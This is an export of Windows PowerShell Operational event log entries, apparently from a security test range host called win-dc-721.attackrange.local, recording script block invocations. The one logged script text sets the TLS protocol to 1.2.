Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478474
Keywords=None
Message=Completed invocation of ScriptBlock ID: ca06aa1b-177a-4689-9498-1195c0905ec9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478473
Keywords=None
Message=Started invocation of ScriptBlock ID: ca06aa1b-177a-4689-9498-1195c0905ec9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478472
Keywords=None
Message=Completed invocation of ScriptBlock ID: b80cfc3d-ecfd-4a2f-8cc3-78ef6cff7cce
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478471
Keywords=None
Message=Started invocation of ScriptBlock ID: b80cfc3d-ecfd-4a2f-8cc3-78ef6cff7cce
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1478470
Keywords=None
Message=Creating Scriptblock text (1 of 1):
[Net.ServicePointManager]::SecurityProtocol =
[Net.SecurityProtocolType]::Tls12
ScriptBlock ID: b80cfc3d-ecfd-4a2f-8cc3-78ef6cff7cce
Path:
06/15/2021 05:06:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478469
Keywords=None
Message=Completed invocation of ScriptBlock ID: a85bed97-9bbb-4097-beff-9d8cef80286e
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478592
Keywords=None
Message=Completed invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478591
Keywords=None
Message=Started invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478590
Keywords=None
Message=Completed invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478589
Keywords=None
Message=Started invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478588
Keywords=None
Message=Completed invocation of ScriptBlock ID: caef7938-659e-4003-b429-9acff51ff743
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478587
Keywords=None
Message=Started invocation of ScriptBlock ID: caef7938-659e-4003-b429-9acff51ff743
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478586
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1de8db71-a909-4c55-9296-b2f0c71f579b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478585
Keywords=None
Message=Started invocation of ScriptBlock ID: 1de8db71-a909-4c55-9296-b2f0c71f579b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478584
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478583
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478582
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478581
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478580
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478579
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478578
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478577
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478576
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478575
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478574
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478573
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478572
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478571
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478570
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478569
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478568
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478567
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478566
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478565
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478564
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478563
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478562
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478561
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478560
Keywords=None
Message=Completed invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478559
Keywords=None
Message=Started invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478558
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478557
Keywords=None
Message=Started invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478556
Keywords=None
Message=Completed invocation of ScriptBlock ID: caef7938-659e-4003-b429-9acff51ff743
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478555
Keywords=None
Message=Started invocation of ScriptBlock ID: caef7938-659e-4003-b429-9acff51ff743
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478554
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1de8db71-a909-4c55-9296-b2f0c71f579b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478553
Keywords=None
Message=Started invocation of ScriptBlock ID: 1de8db71-a909-4c55-9296-b2f0c71f579b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478552
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478551
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478550
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478549
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478548
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478547
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478546
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478545
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478544
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478543
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
